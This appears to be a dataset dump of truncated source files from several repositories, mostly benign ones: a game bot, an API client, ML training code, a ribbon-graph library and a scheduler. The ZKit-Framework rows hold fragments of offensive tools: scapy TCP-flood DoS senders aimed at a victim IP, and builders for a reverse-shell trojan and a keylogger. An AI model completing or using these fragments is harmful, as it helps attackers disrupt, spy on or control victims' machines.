index
int64
repo_name
string
branch_name
string
path
string
content
string
import_graph
string
27,799
OpenElement-GachaBot/OpenElement
refs/heads/main
/ark.py
import time import pyautogui import screen import cv2 import numpy as np inventory_template = cv2.imread("templates/inventory_template.png", cv2.IMREAD_GRAYSCALE) inventory_template = cv2.Canny(inventory_template, 100, 200) img = cv2.imread("templates/bed_button_corner.png", cv2.IMREAD_GRAYSCALE) bed_button_edge = cv...
{"/gacha.py": ["/ark.py"]}
27,805
pnsn/squacapipy-old
refs/heads/master
/test/test_squacapi.py
from squacapipy.squacapi import Response, Network, Channel from unittest.mock import patch '''to run $:pytest --verbose -s test/test_squacapi.py && flake8 or pytest && flake8 ''' '''Tests are really just testing class instantiaion since the response object is mocked. ''' @patch.object(Network, 'get'...
{"/test/test_squacapi.py": ["/squacapipy/squacapi.py"], "/squacapipy/squacapi.py": ["/squacapipy/errors.py"]}
27,806
pnsn/squacapipy-old
refs/heads/master
/squacapipy/errors.py
'''error classes ''' class APITokenMissingError(Exception): '''raise error on missing key''' pass class APIBaseUrlError(Exception): '''raise error on base url param''' pass
{"/test/test_squacapi.py": ["/squacapipy/squacapi.py"], "/squacapipy/squacapi.py": ["/squacapipy/errors.py"]}
27,807
pnsn/squacapipy-old
refs/heads/master
/squacapipy/squacapi.py
import requests import os import json from squacapipy.errors import APITokenMissingError, APIBaseUrlError from datetime import datetime API_TOKEN = os.getenv('SQUAC_API_TOKEN') API_BASE_URL = os.getenv('SQUAC_API_BASE') if API_TOKEN is None: raise APITokenMissingError( "All methods require an API key" ...
{"/test/test_squacapi.py": ["/squacapipy/squacapi.py"], "/squacapipy/squacapi.py": ["/squacapipy/errors.py"]}
27,811
Alaqian/chexpert_old
refs/heads/master
/trainCnn.py
# -*- coding: utf-8 -*- """ Created on Sat Jul 20 21:16:02 2019 @author: Mirac """ def train_cnn(PATH_TO_MAIN_FOLDER, LR, WEIGHT_DECAY, UNCERTAINTY="zeros", USE_MODEL=0): """ Train a model with chexpert data using the given hyperparameters Args: PATH_TO_MAIN_FOLDER: path where the ext...
{"/camUtils.py": ["/chexpertDataset.py"]}
27,812
Alaqian/chexpert_old
refs/heads/master
/chexpertDataset.py
# -*- coding: utf-8 -*- """ Created on Sat Jul 20 21:10:18 2019 @author: Mirac """ import pandas as pd import numpy as np from torch.utils.data import Dataset import os from PIL import Image from sklearn.model_selection import train_test_split class CheXpertDataset(Dataset): """ Dataset cla...
{"/camUtils.py": ["/chexpertDataset.py"]}
27,813
Alaqian/chexpert_old
refs/heads/master
/lossFunctions.py
# -*- coding: utf-8 -*- """ Created on Sat Jul 20 21:15:28 2019 @author: Mirac """ import torch class BCEwithIgnore(torch.nn.Module): def _init_(self): super(BCEwithIgnore, self)._init_() def forward(self, score, y): zeros = torch.zeros_like(y) ones = torch.ones_l...
{"/camUtils.py": ["/chexpertDataset.py"]}
27,814
Alaqian/chexpert_old
refs/heads/master
/makePredictions.py
# -*- coding: utf-8 -*- """ Created on Sat Jul 20 21:16:51 2019 @author: Mirac """ import torch import pandas as pd from torchvision import transforms, utils from torch.utils.data import Dataset, DataLoader from torchvision import transforms, utils import sklearn import sklearn.metrics as sklm from to...
{"/camUtils.py": ["/chexpertDataset.py"]}
27,815
Alaqian/chexpert_old
refs/heads/master
/camUtils.py
# -*- coding: utf-8 -*- """ Created on Sat Jul 20 21:17:34 2019 @author: Mirac """ import torch import torch.nn as nn import torch.nn.functional as F from torchvision import transforms from chexpertDataset import CheXpertDataset ### CLASS ACTIVATION #### class HookModel(nn.Module): def __init__(self...
{"/camUtils.py": ["/chexpertDataset.py"]}
27,816
Complicateddd/R-DFDN
refs/heads/master
/gen_color_mnist.py
import torchvision import torch import numpy as np import torchvision.transforms as transforms import tqdm from torch.autograd import Variable import argparse import os data_path = 'datasets/' parser = argparse.ArgumentParser(description='Generate colored MNIST') # Hyperparams parser.add_argument('--cpr', nargs='+'...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,817
Complicateddd/R-DFDN
refs/heads/master
/eval.py
from argparse import Namespace import argparse import numpy as np import os import torch import torch.nn as nn from torch.autograd import Variable import tqdm from data import get_dataset parser = argparse.ArgumentParser(description='Predicting with high correlation features') # Directories parser.add_argument('--...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,818
Complicateddd/R-DFDN
refs/heads/master
/resnet_base.py
import torch import torch.nn as nn import torch.nn.functional as F import numpy as np class resblock(nn.Module): def __init__(self, depth, channels, stride=1, bn='', nresblocks=1.,affine=True, kernel_size=3, bias=True): self.depth = depth self. channels = channels ...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,819
Complicateddd/R-DFDN
refs/heads/master
/existing_methods.py
from argparse import Namespace import sys import argparse import math import numpy as np import os import torch import torch.nn as nn from torch.autograd import Variable from torch import autograd import pickle as pkl from models import ResNet_model, CNN import torch.nn.functional as F import glob import tqdm import t...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,820
Complicateddd/R-DFDN
refs/heads/master
/train_RDFDN.py
from RDFDN import R_DFDN, Loss from argparse import Namespace import sys import argparse import math import numpy as np import os import torch import torch.nn as nn from torch.autograd import Variable from torch import autograd import pickle as pkl import torch.nn.functional as F from utils import correlation_reg impor...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,821
Complicateddd/R-DFDN
refs/heads/master
/data.py
from argparse import Namespace import argparse import numpy as np import os import torch import torch.nn as nn import torch.nn.functional as F import torchvision import torchvision.transforms as transforms from utils import _split_train_val import torchvision.datasets as datasets import torch.utils.data as utils import...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,822
Complicateddd/R-DFDN
refs/heads/master
/FALoss.py
import torch import torch.nn as nn class FALoss(nn.Module): def __init__(self): super(FALoss,self).__init__() def get_sim(self,fea): b,c,h,w = fea.shape fea = fea.view(b,c,-1) fea = fea.permute((0,2,1)) fea_norm = torch.norm(fea,p=2,dim=2) ...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,823
Complicateddd/R-DFDN
refs/heads/master
/utils.py
import torch.nn as nn import torch.nn.init as init import torch from torch.autograd import Variable import numpy as np import torch.autograd as autograd import torch.nn.functional as F from torch.nn.parameter import Parameter from torch.nn.init import zeros_, ones_ import tqdm class AttackPGD(nn.Module): def __in...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,824
Complicateddd/R-DFDN
refs/heads/master
/endecoder.py
import torch.nn as nn import torch class decoder(nn.Module): def __init__(self): super(decoder, self).__init__() self.fc = nn.Sequential( nn.Linear(100,588), nn.ReLU(True) ) self.up=nn.Sequential( nn.Conv2d(3,16,kernel_size=3,stride=1,padding=1), ...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,825
Complicateddd/R-DFDN
refs/heads/master
/RDFDN.py
from utils import correlation_reg from resnet_base import ResNet, MLPLayer import torch import torch.nn as nn from FALoss import FALoss, DiffLoss from endecoder import decoder class R_DFDN(nn.Module): def __init__(self, ): super(R_DFDN, self).__init__() self.inv_encoder = ResNet(depth=56, nb_filter...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,826
Complicateddd/R-DFDN
refs/heads/master
/models.py
import torch import torch.nn as nn import torch.nn.functional as F import numpy as np ACT = F.relu class MLPLayer(nn.Module): def __init__(self, dim_in=None, dim_out=None, bn=False, act=True, dropout=0., bias=True): super(MLPLayer, self).__init__() self.act=act layer = [nn.Linear(dim_in...
{"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]}
27,852
malikobeidin/ribbon_graph
refs/heads/master
/ribbon_graph_base.py
from sage.all import PermutationGroup from permutation import Permutation, Bijection, random_permutation from cycle import Path, EmbeddedPath, EmbeddedCycle from spherogram.links.random_links import map_to_link, random_map from random import choice import itertools class RibbonGraph(object): """ A RibbonGraph ...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,853
malikobeidin/ribbon_graph
refs/heads/master
/maps.py
from permutation import Bijection, Permutation, permutation_from_bijections from ribbon_graph import RibbonGraph import spherogram class MapVertex(object): def __init__(self, label, num_slots): self.label = label self.next = Permutation(cycles = [[(self.label,i) for i in range(num_slots)]]) ...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,854
malikobeidin/ribbon_graph
refs/heads/master
/draw.py
import matplotlib.pyplot as plt import numpy as np from cycle import EmbeddedCycle from decompositions import CycleTree def draw_with_plink(ribbon_graph): pass class Immersion(object): """ """ def __init__(self, ribbon_graph, head, tail): self.ribbon_graph = ribbon_graph self.head = h...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,855
malikobeidin/ribbon_graph
refs/heads/master
/local_moves.py
def add_vertex_on_edge(ribbon_graph, label, new_label_op, new_label_next_corner): """ Add a new valence 2 vertex on the edge given by label. """ op_label = ribbon_graph.opposite[label] cut_edge(ribbon_graph, label) ribbon_graph.next.add_cycle([new_label1, new_label2]) ribbon_graph.oppo...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,856
malikobeidin/ribbon_graph
refs/heads/master
/decompositions.py
import itertools from random import choice from cycle import EmbeddedPath, EmbeddedCycle class PolygonWithDiagonals(object): """ Numbered clockwise around the boundary, i.e. with the exterior face to the left side """ def __init__(self, label, boundary_length, diagonals): self.label = label...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,857
malikobeidin/ribbon_graph
refs/heads/master
/setup.py
long_description = """\ This is a package for manipulating ribbon graphs """ import re, sys, subprocess, os, shutil, glob, sysconfig from setuptools import setup, Command from setuptools.command.build_py import build_py # Get version number from module version = re.search("__version__ = '(.*)'", ...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,858
malikobeidin/ribbon_graph
refs/heads/master
/__init__.py
__version__ = '1.0' def version(): return __version__ from ribbon_graph_base import RibbonGraph, random_link_shadow from cycle import Path, EmbeddedPath, EmbeddedCycle from maps import StrandDiagram, Link from permutation import Bijection, Permutation from trees import MountainRange, RootedPlaneTree from decompo...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,859
malikobeidin/ribbon_graph
refs/heads/master
/cycle.py
import itertools from local_moves import * class Path(object): def __init__(self, ribbon_graph, start_label, labels = [], turn_degrees = []): self.ribbon_graph = ribbon_graph self.start_label = start_label if labels: if labels[0] != start_label: raise E...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,860
malikobeidin/ribbon_graph
refs/heads/master
/trees.py
from ribbon_graph_base import RibbonGraph from permutation import Permutation from random import shuffle class MountainRange(object): def __init__(self, steps = []): s = 0 for step in steps: assert step in [-1,1] s += step assert s >= 0 assert s == 0 ...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,861
malikobeidin/ribbon_graph
refs/heads/master
/permutation.py
#from sage.all import Permutation as SagePermutation from random import shuffle class Bijection(dict): def __init__(self, dictionary={}, verify=True): self.domain = set() self.codomain = set() for label in dictionary: self[label] = dictionary[label] if verify: ...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,862
malikobeidin/ribbon_graph
refs/heads/master
/three_manifold.py
from permutation import Permutation, Bijection from ribbon_graph_base import * from cycle import * from local_moves import contract_edge class Triangulation(object): def __init__(self, tetrahedra_ribbon_graph, glued_to, check_consistency = True): """ Specify a triangulation of a 3-manifold with: ...
{"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc...
27,882
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/Dos_Attackers/SM.py
def Run(*self, Source_IP, Victim_IP, Source_Port, Victim_Ports, Count, Message): from scapy.all import sendp as Send, TCP as tcp, IP as ip from time import sleep as Sleep from sys import exit as Exit print("This Operation Needs Administrator Permission") print("Running UAC") Victim_Ports =...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,883
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/Dos_Attackers/SS.py
def Run(*self, Source_IP, Victim_IP, Source_Port, Victim_Port, Count, Message): print("Scapy Needs Administrator Permission") from scapy.all import sendp as Send from scapy.all import IP as ip, TCP as tcp import scapy.all from time import sleep as Sleep from sys import exit as Exit i ...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,884
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/KeyLoggers/TCP.py
import colorama import socket def Create(*self, Host, Port, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, PATH): from time import sleep as Sleep Red, Blue, Green, Reset = colorama.Fore.LIGHTRED_EX, colorama.Fore.LIGHTBLUE_EX, colorama.Fore.LIGHTGREEN_EX, colorama.Fore.RESET print(...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,885
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/Trojans/UDP_Connect.py
import socket from colorama import Fore def Connect(self): Connection = socket.socket(socket.AF_INET , socket.SOCK_DGRAM) print("[" + Fore.LIGHTBLUE_EX + '+' + "] Making Connection") try: Victim, Address = Connection.accept() os = Victim.recv(1024).decode('UT...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,886
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/Trojans/Reverse_Shell_TCP.py
import colorama import socket from base64 import b85encode , b85decode def Create(*self, Host, Port, str1, str2, str3, str4, PATH): """Creates Reverse_Shell Trojan With Parameters""" from time import sleep as Sleep Red, Blue, Green, Reset = colorama.Fore.LIGHTRED_EX, colorama.Fore.LIGHTBLUE_EX, color...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,887
lbh3110/ZKit-Framework
refs/heads/master
/zkit.py
'ZKit-Framework Github : https://github.com/000Zer000/ZKit-Framework' from sys import platform __all__ = ["why_do_you_want_to_import_this"] def why_do_you_want_to_import_this(): 'Why do you want to import this' return "Why_Do_You_Want_To_Import_This" __author__ = 'Zer0' # Created A New Header ...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,888
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/Trojans/__init__.py
'Sth'
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,889
lbh3110/ZKit-Framework
refs/heads/master
/ZKit_Core/Main_Process.py
import random import string def random_string(*size): size = random.randint(2, 9) chars = string.ascii_lowercase + string.ascii_uppercase return ''.join(random.choice(chars) for _ in range(size)) def random_int(size, max, min): ints = string.digits while True: random_int = '...
{"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]}
27,892
INFINIT-PLUS-GIT/ccs-server
refs/heads/master
/modelos.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (C) Lisoft & AV Electronics - All Rights Reserved # Unauthorized copying of this file, via any medium is strictly prohibited # Proprietary and confidential # Written by Rodrigo Tufiño <rtufino@lisoft.net>, December 2019 """ Módulo con los modelos y adm...
{"/app.py": ["/modelos.py"]}
27,893
INFINIT-PLUS-GIT/ccs-server
refs/heads/master
/app.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (C) Lisoft & AV Electronics - All Rights Reserved # Unauthorized copying of this file, via any medium is strictly prohibited # Proprietary and confidential # Written by Rodrigo Tufiño <rtufino@lisoft.net>, December 2019 """ ccs-server.app ~~~~~~~~~...
{"/app.py": ["/modelos.py"]}
27,902
slcdiallo/pythonClass
refs/heads/main
/Lesson2.py
# Lesson 2: If Statements from Mod2 import guiInput, guiOutput s=guiInput("Enter three real numbers").split() x = float(s[0]) y = float(s[1]) z = float(s[2]) if x>0 and y>0 and z>0: guiOutput("Sum:%1.2f" % (x+y+z)); elif x<0 and y>0 and z>0: guiOutput("Prod:%1.2f" % (y*z)); elif x>0 and y<0...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,903
slcdiallo/pythonClass
refs/heads/main
/exampleLesson4.py
##### MODULE OS # open(filename, mode) "r" is for reading, "w" for writing # with block guarantees file is closed # open expects file to be in cwd, otherwise you need to specify path #with open("exdata.txt","r") as infile: #s = infile.read() # reads the entire file as 1 string #with "with" dont need to close #wit...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,904
slcdiallo/pythonClass
refs/heads/main
/Al.py
print('Enter a number') y=input() usernum=int(y) print('Enter x') w=input() x=int(w) n1 = int(usernum/x) n2 = int(n1/x) n3 = int(n2/x) print(n1, n2, n3)
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,905
slcdiallo/pythonClass
refs/heads/main
/Lesson4.py
#Assignment 4 #Author: Saliou Diallo #Program 4 - Simple Ascii Drawing #For this program, ask the user to enter an integer. #The program will then draw a shapebased on the integer: #a vertical line for 4-9, an L for 10-15, #a horizontal line for 16-20 otherwise it says invalid input. #The program will continue...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,906
slcdiallo/pythonClass
refs/heads/main
/MyCodeL3.py
#For this program you will ask the user to enter the name of a text file. #Each line in the file will contain two numbers, the first number is the price #of each widget and the second line is the number of widgets in the order. #For each line, print the number of items and the total price for the order (widgets*price)....
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,907
slcdiallo/pythonClass
refs/heads/main
/Mod2.py
import tkinter as tk import tkinter.font as Font # Program 2 def center(widget,relx,rely): """ places top-level window on display relative to relx,rely """ widget.withdraw() # Remain invisible while we fig+ure out the geometry widget.update_idletasks() # Actualize geometry information m_width...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,908
slcdiallo/pythonClass
refs/heads/main
/Lesson3.py
#Assignment 3 #Author: Saliou Diallo #For this program you will ask the user to enter the name of a text file. Each line in the file will #contain two numbers, the first number is the price of each widget and the second line is the number #of widgets in the order. For each line, print the number of items and the total...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,909
slcdiallo/pythonClass
refs/heads/main
/testLesson3.py
import os infile = open("data3.txt","r") # let's set the variables that we're going to use sum = 0.0 len = 0 hi = 0 low = 0 # let's process the file for s in infile: s1 = s.split() x = float(s1[0]) y = float(s1[1]) print ("Number of items: %5d     Total price for the order: %10.2f" % (y,x*y)) sum += x*y ...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,910
slcdiallo/pythonClass
refs/heads/main
/Lesson1.py
#Saliou Diallo #Write a module that first asks the user to enter 2 integers and then print the sum, difference, #product, quotient, integer quotient, and modulus of the 2 numbers. Then ask the user to enter 2 real #numbers. Print the sum, difference, product, quotient, integer quotient, and modulus using the % #operato...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,911
slcdiallo/pythonClass
refs/heads/main
/exampleLesson3.py
from Mod2 import guiInput,guiOutput #import os # os stand for operating system #print(__file__) # complete path of the file being executed in the shell #print(os.getcwd()) # cwd current working directory: The folder where the shell is running the program #import os #infile = op...
{"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]}
27,947
lresende/enterprise_scheduler
refs/heads/master
/tests/__init__.py
# -*- coding: utf-8 -*- """Unit test package for enterprise_scheduler."""
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,948
lresende/enterprise_scheduler
refs/heads/master
/enterprise_scheduler/util.py
# -*- coding: utf-8 -*- # # Copyright 2018-2019 Luciano Resende # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,949
lresende/enterprise_scheduler
refs/heads/master
/enterprise_scheduler/resources/ffdl/run_notebook.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2018-2019 Luciano Resende # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,950
lresende/enterprise_scheduler
refs/heads/master
/enterprise_scheduler/executor.py
# -*- coding: utf-8 -*- # # Copyright 2018-2019 Luciano Resende # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,951
lresende/enterprise_scheduler
refs/heads/master
/setup.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """The setup script.""" from setuptools import setup, find_packages with open('README.rst') as readme_file: readme = readme_file.read() requirements = [ 'click>=6.0', 'bumpversion>=0.5.3', 'wheel>=0.30.0', 'watchdog>=0.8.3', 'flake8>=3.5.0', ...
{"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp...
27,952
lresende/enterprise_scheduler
refs/heads/master
/tests/test_scheduler.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `enterprise_scheduler` package.""" import asyncio import os import json import unittest import time from pprint import pprint from enterprise_scheduler.scheduler import Scheduler from enterprise_scheduler.util import fix_asyncio_event_loop_policy RESOURCES ...
